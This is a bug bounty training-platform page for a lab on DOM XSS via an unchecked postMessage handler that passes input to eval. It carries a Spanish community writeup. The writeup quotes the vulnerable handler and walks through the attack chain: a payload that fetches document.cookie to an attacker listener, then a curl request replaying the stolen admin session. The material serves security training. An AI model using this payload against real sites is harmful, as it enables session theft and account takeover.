BBLABS v2BBLABSv2
>Home>Labs
>New labs

Latest 3 labs

Loading…

View all labs →
>Creators>Ranking
>Learn

Learn bug bounty

AcademyGuides, cheatsheets and glossaryVulnerabilitiesXSS, SQLi, IDOR, SSRF and moreHunter RoadmapYour step-by-step bug bounty pathBlogBug bounty guides and news
>Business>Pricing
ES
Log inLog in
>Home>Labs>New labs>Creators>Ranking>Learn>Business>Pricing
ES
Sign inCreate account
  1. Home
  2. Labs
  3. DOM XSS via postMessage → eval (cross-origin admin pwn)
Insane$60045 min

Contact

Practice, learn and hack

Bug bounty practice platform with labs based on real reports. Learn ethical hacking in safe environments.

contact→

Follow us

YouTube
@0xGorka
X
@gorkaelbochi
LinkedIn
gorka-el-bochi-morillo
Instagram
@_.gorkaaa.b
Email
team@bblabs.es

Access every lab from €7.99/mo

New labs every week. Cancel anytime.

Create account

BBLabs is the bug bounty labs platform where you learn bug bounty with real vulnerabilities extracted from paid reports on HackerOne, Bugcrowd and Intigriti. Here you practice web hacking —XSS, SQLi, IDOR, SSRF, CSRF and more— in downloadable environments, capture the flag, read the writeup and apply the technique on active bug bounty programs.

BBLabs is the alternative to HackTheBox, TryHackMe and PentesterLab for those who want to practice bug bounty with real reports instead of artificial CTFs. From €7.99/mo, no commitment.

→ Learn bug bounty from scratch→ How to do bug bounty step by step→ Real bug bounty reports→ BBLabs for companies and academiesLabsAcademyVulnerabilitiesToolsHunter rankingXSS labsIDOR labsSSRF labsCSRF labsHackTheBox alternativeHack4u alternativeTryHackMe alternativePortSwigger alternativePentesterLab alternativeBug Bounty Labs comparisonHackerOne to practiceOffSec / OSCP alternativeINE / eWPT alternativeHTB Academy alternativeDVWA alternativeJuice Shop alternativeVulnHub alternativePentesterAcademy alternativeRoot-Me alternativeHackTheBox vs TryHackMeBest bug bounty platforms 2026BlogSpoilersWhat is bug bounty?How much do you earn in bug bounty?OWASP Top 10 explainedBest sites to practice web hackingHow to become an ethical hacker from scratchBurp Suite tutorial (Spanish)OSCP guide and prepGoogle Dorks for bug bountyHow much an ethical hacker earns in SpainBug bounty tools 2026Best cybersecurity certifications 2026Burp Suite tutorialsqlmap tutorialffuf web fuzzingnuclei tutorialHTTP Request SmugglingWAF bypassPrompt injection (LLM)Google Dorks
Made withand code
TermsPrivacyComparisonES

© 2026 BBLABS v2 — All rights reserved

DOM XSS via postMessage → eval (cross-origin admin pwn)

By @gorka

Marketplace social moderno (estilo Wallapop / Vinted) que embebe en su página de búsqueda un iframe propio (`/widget/recommend.html`) llamado "Smart Recommendations Engine v2.4". Ese widget acepta una **fórmula de filtrado** vía `postMessage` desde la SPA padre y la pasa a `eval()`. El handler **no comprueba `event.origin`** ni valida la fórmula. Cualquier ventana que abra/embebe la SPA puede `postMessage` al iframe y ejecutar JS arbitrario en el origen del lab. La cadena se completa abusando del bot Puppeteer admin (Maya Reyes), que abre cualquier URL que un vendedor le mande por chat. El atacante hostea `exploit.html` con `python3 -m http.server 8080`, manda al admin el enlace, el bot navega, popup top-level al lab carga con cookies de admin, `eval` lee `document.cookie`, exfiltra al listener, y el atacante replica la cookie para extraer la flag de `/api/admin/dashboard`.

487 views10 completedUpdated Aug 2026
Log in to start

Learn to find this bug

This bug paid $600 on YesWeHack.

Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.

hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week
Create account
I already have an account

Access to all labs · no commitment · cancel anytime

Hunters who solved it· 8

flyingwhales1
@flyingwhales1 day ago
XL2
@xl4n25 days ago
AL3
@alex.burja.200029 days ago
pl4nkton
@pl4nktonJun 2026
AT
@atxMay 2026
MA
@maxioliveraMay 2026
w4tchw0lf
@w4tchw0lfMay 2026
gorka
@gorkaMay 2026

Objectives

1
Hacer recon del marketplace: registrar cuenta
2
Inspeccionar el HTML del widget
3
Confirmar el bug manualmente desde la consola del browser
4
Confirmarlo con Burp Suite + DOM Invader
5
Identificar la víctima privilegiada
6
Construir el `exploit.html`
7
Hostearlo con `python3 -m http.server 8080` y enviar al admin por chat

Information

Platform
YesWeHack
Difficulty
Insane
Duration
45 min
Bounty
$600
Completed
10
Creator
gorka@gorka
Collaborators

Achievement you'll earn

Solve this lab to unlock this shareable achievement

BBLABS.ESLab Solved
Insane$600
// achievement_unlocked

DOM XSS via postMessage → eval (cross-origin admin pwn)

XSS
Aug 2026
gorka
solved_by@gorkaMember since Mar 2026
bblabs.es// real bug bounty practice

Community writeups

Vendoria es un marketplace de objetos con historia (Express + TypeScript + better-sqlite3 + React 18 + Vite + Tailwind + framer-motion + Puppeteer-core, puerto 2103). El lab tiene 9 usuarios seedeados, 18 anuncios reales, 12 hilos de chat, 22 favoritos y un panel admin con la flag.

Capa única — DOM XSS por postMessage → eval sin event.origin check (CWE-79 + CWE-94):

El equipo de growth de Vendoria construyó un mini "Smart Recommendations Engine" en un iframe propio para iterar sin redeploys del bundle principal. La SPA padre (/search?q=...) lo embebe como <iframe src="/widget/recommend.html?q=..." /> y le manda fórmulas de filtrado vía postMessage. El widget las usa como predicado de Array#filter y devuelve el conteo a la SPA. El equipo de seguridad firmó la excepción para mover el endurecimiento a un mini-DSL en el siguiente quarter — mientras tanto, cualquier fórmula que devuelva un boolean vale.

El handler en server/public/widget/recommend.html:

window.addEventListener('message', function (event) {
  var cfg = event.data;
  if (!cfg || typeof cfg !== 'object') return;
  if (cfg.type !== 'reco-config') return;
  if (typeof cfg.formula !== 'string') return;
  try {
    var matches = items.filter(function (it) { return eval(cfg.formula); });   // ← sink
    render(matches);
    if (event.source) event.source.postMessage({ type: 'reco-result', count: matches.length }, '*');
  } catch (err) { /* swallow */ }
});

Tres detalles convierten esto en DOM XSS cross-origin:

  1. Sin event.origin check. Cualquier ventana puede postMessage al iframe.
  2. eval(cfg.formula). No es Function(...) con 'use strict' ni un parser; es eval puro en el scope del widget.
  3. El widget se sirve mismo origen que la SPA principal, así que el código que se evalúa tiene acceso a document.cookie y puede hacer fetch('/api/...', {credentials:'include'}) con la cookie del usuario activo.

Gadget de víctima — el bot admin (Puppeteer-core). Maya Reyes (id=1, role=admin) tiene un bot que cada 6 segundos llama a GET /api/conversations/_internal/admin-inbox (autenticado como admin), extrae URLs de los mensajes no leídos, reescribe 127.0.0.1:* → host.docker.internal:* (porque los vendedores siempre comparten URLs pensando en su localhost), aplica una allowlist de hosts (host.docker.internal, localhost, 127.0.0.1), lanza Chromium headless con cookie vendoria_token=<JWT admin> setteada para los dominios localhost y host.docker.internal, navega, hace dwell 8 s y cierra. Allowlist estrecha → no es SSRF cross-origin, pero sí es el primitivo perfecto para entregar nuestro exploit.html.

Cookie httpOnly:false. El equipo de marketing integró un SDK legacy (vendoria-analytics-v2) que lee document.cookie para identificar la sesión. Como refactor (RFC-0118 en el roadmap) la cookie vendoria_token se setea con httpOnly:false, sameSite:lax. Esto significa que (a) eval(document.cookie) la lee, y (b) viaja en navegaciones top-level cross-site (window.open).

La cadena completa:

  1. attacker@vendoria.market / password123 → login.
  2. python3 -m http.server 8080 en el directorio del lab (sirve exploit.html).
  3. Chat al admin (id=1): "Maya, urgente, mira este reporte: http://127.0.0.1:8080/exploit.html".
  4. El bot reescribe a http://host.docker.internal:8080/exploit.html y abre la URL con la sesión del admin activa.
  5. exploit.html ejecuta var pop = window.open('http://localhost:2103/search?q=apple', 'pop'). SameSite=Lax permite que la cookie del admin viaje al popup.
  6. El popup carga /search?q=apple que embebe iframe a /widget/recommend.html.
  7. exploit.html hace polling de pop.frames[0].postMessage({ type:'reco-config', formula: "(fetch('http://host.docker.internal:8080/exfil?c='+encodeURIComponent(document.cookie)),false)" }, '*').
  8. El widget hace eval(formula) → fetch sale con document.cookie (que contiene el JWT del admin).
  9. El listener del atacante recibe la cookie en GET /exfil?c=vendoria_token=ey....
  10. curl -H "Cookie: vendoria_token=<JWT>" http://localhost:2103/api/admin/dashboard | jq .flag → FLAG{...}.

Por qué encaja en la familia "DOM XSS via postMessage". El patrón fue descrito por James Kettle (PortSwigger) y popularizado por la herramienta DOM Invader: handlers de message que pasan datos atacante-controlados a sinks peligrosos sin validar el origen. El twist clásico es innerHTML/document.write; este lab usa eval que tiene el mismo impacto pero suele aparecer en motores de "fórmulas configurables", "filter expressions", "chart formulas" y similares. Reportes públicos relacionados: ALL Solutions (HackerOne #1188937, postMessage XSS), Khan Academy (postMessage XSS in formula evaluator), múltiples reportes de YesWeHack PGM (JavaScript code execution via postMessage).

antoniorivera
@antoniorivera
Updated
Aug 2026

Download the environment

Reproduce it and find the bug yourself

Create account

Tools

Burp SuiteDOM InvaderNavegador

Prerequisites

  • Concepto DOM XSS
  • PostMessage

Tags

XSS